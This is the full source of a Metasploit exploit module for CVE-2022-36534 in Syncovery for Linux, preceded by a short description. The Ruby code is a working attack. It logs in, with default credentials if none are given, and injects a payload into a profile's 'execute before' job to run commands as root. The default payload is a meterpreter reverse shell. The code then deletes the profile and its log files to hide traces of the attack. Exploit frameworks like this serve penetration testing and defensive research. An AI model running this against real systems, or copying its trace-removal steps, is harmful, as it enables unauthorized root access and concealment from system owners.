This Metasploit module exploits an authenticated command injection vulnerability in the Web GUI of Syncovery File Sync and Backup Software for Linux. Successful exploitation results in remote code execution under the context of the root user. Syncovery allows an authenticated user to create jobs, which are executed before/after a profile is run. Jobs can contain arbitrary system commands and will be executed as root. A valid username and password or a session token is needed to exploit the vulnerability. The profile and its log file will be deleted afterwards to disguise the attack. The vulnerability is known to work on Linux platforms. All Syncovery versions prior to v9.48j are vulnerable including all versions of branch 8.
b41779b455720b7b8cb72926f609166a1f6c239f4d750374145be32ae680ed11##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'json'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Syncovery For Linux Web-GUI Authenticated Remote Command Execution',
'Description' => %q{
This module exploits an authenticated command injection vulnerability in the Web GUI of Syncovery File Sync & Backup Software for Linux.
Successful exploitation results in remote code execution under the context of the root user.
Syncovery allows an authenticated user to create jobs, which are executed before/after a profile is run.
Jobs can contain arbitrary system commands and will be executed as root.
A valid username and password or a session token is needed to exploit the vulnerability.
The profile and its log file will be deleted afterwards to disguise the attack.
The vulnerability is known to work on Linux platforms. All Syncovery versions prior to v9.48j are vulnerable including all versions of branch 8.
},
'Author' => [ 'Jan Rude' ],
'License' => MSF_LICENSE,
'References' => [
['URL', 'https://www.mgm-sp.com/en/multiple-vulnerabilities-in-syncovery-for-linux/'],
['CVE', '2022-36534']
],
'Platform' => 'unix',
'Arch' => [ ARCH_CMD ],
'Targets' => [
['Syncovery for Linux < 9.48j', {}]
],
'Privileged' => true,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => []
},
'DisclosureDate' => '2022-09-06',
'DefaultTarget' => 0,
'DefaultOptions' => {
'Payload' => 'cmd/unix/python/meterpreter/reverse_tcp'
}
)
)
register_options(
[
Opt::RPORT(8999), # Default is HTTP: 8999; HTTPS: 8943
OptString.new('USERNAME', [true, 'The username to Syncovery (default: default)', 'default']),
OptString.new('PASSWORD', [true, 'The password to Syncovery (default: pass)', 'pass']),
OptString.new('TOKEN', [false, 'A valid session token', '']),
OptString.new('TARGETURI', [true, 'The path to Syncovery', '/']),
]
)
end
def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/get_global_variables'),
'method' => 'GET'
)
if res && res.code == 200
json_res = res.get_json_document
if json_res['isSyncoveryWindows'] == 'false'
version = json_res['SyncoveryTitle']&.scan(/Syncovery\s([A-Za-z0-9.]+)/)&.flatten&.first || ''
if version.empty?
vprint_warning("#{peer} - Could not identify version")
Exploit::CheckCode::Detected
elsif Rex::Version.new(version) < Rex::Version.new('9.48j') || Rex::Version.new(version) == Rex::Version.new('9.48')
vprint_good("#{peer} - Syncovery #{version}")
Exploit::CheckCode::Appears
else
vprint_status("#{peer} - Syncovery #{version}")
Exploit::CheckCode::Safe
end
else
Exploit::CheckCode::Safe
end
else
Exploit::CheckCode::Unknown
end
end
def exploit
@token = datastore['TOKEN']
if @token.blank?
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/post_applogin.php'),
'vars_get' => {
'login' => datastore['USERNAME'].to_s,
'password' => datastore['PASSWORD'].to_s
},
'method' => 'GET'
})
unless res
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
end
# After login, the application should give us a new token
# session_token is actually just base64(MM/dd/yyyy HH:mm:ss) at the time of the login
json_res = res.get_json_document
@token = json_res['session_token']
if @token.present?
vprint_good("#{peer} - Login successful")
else
fail_with(Failure::NoAccess, "#{peer} - Invalid credentials!")
end
end
# send payload
@profile_name = Rex::Text.rand_text_alpha_lower(20)
json_body = {
'ProfileName' => @profile_name,
'Action' => 'Insert',
'FormName' => 'synapp_profile_editor_form',
'token' => @token,
'Name' => @profile_name,
'LeftPath' => '/dev/null',
'LeftPathDisplay' => '/dev/null',
'RightPath' => '/dev/null',
'RightPathDisplay' => '/dev/null',
'Job_ExecuteBefore' => payload.encoded
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/post_profilesettings.php'),
'headers' => {
'X-Requested-With' => 'XMLHttpRequest',
'Content-Type' => 'application/x-www-form-urlencoded; charset=UTF-8'
},
'data' => JSON.generate(json_body)
})
if res && res.code == 200
if res.body.to_s.include? 'Session Expired'
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid token (Session Expired)")
elsif res.body.to_s.include? 'Inserted'
vprint_good("#{peer} - Profile created")
else
fail_with(Failure::UnexpectedReply, "#{peer} - Error (#{res.body})")
end
else
fail_with(Failure::UnexpectedReply, "#{peer} - Error (response code: #{res.code})")
end
vprint_status("#{peer} - Running profile")
json_body = {
'ProfileName' => @profile_name,
'token' => @token,
'attended' => true
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/post_runprofile.php'),
'data' => JSON.generate(json_body)
})
if res && res.code == 200
print_good("#{peer} - Exploit successfully executed")
else
fail_with(Failure::UnexpectedReply, "#{peer} - Could not run profile (response code: #{res.code})")
end
end
def on_new_session(session)
# Delete profile to disguise attack in Web GUI
vprint_status("#{peer} - Trying to delete IOCs")
json_body = {
'ProfileName' => @profile_name,
'token' => @token
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/post_deleteprofile.php'),
'data' => JSON.generate(json_body)
})
if res && res.code == 200 && (res.body.to_s.include? 'Deleted')
vprint_good("#{peer} - Profile successfully deleted")
else
print_error("#{peer} - Could not delete profile (#{res.body})")
end
# Remove IOC by deleting log files
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/getprogram_settings.php'),
'vars_get' => {
'token' => @token
}
)
if res && res.code == 200
json_res = res.get_json_document
if json_res['LogPath'].present?
log_path = json_res['LogPath']
end
end
# Request log files
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/logfiles.json'),
'vars_get' => {
'pagenum' => 0,
'pagesize' => 1
},
'headers' => {
'token' => @token
}
})
if res && res.code == 200
log_file = res.body.scan(/#{@profile_name}.*?\.log/)&.flatten&.first || ''
register_file_for_cleanup("#{log_path}/#{log_file}")
else
register_dirs_for_cleanup(log_path.to_s)
end
super
end
end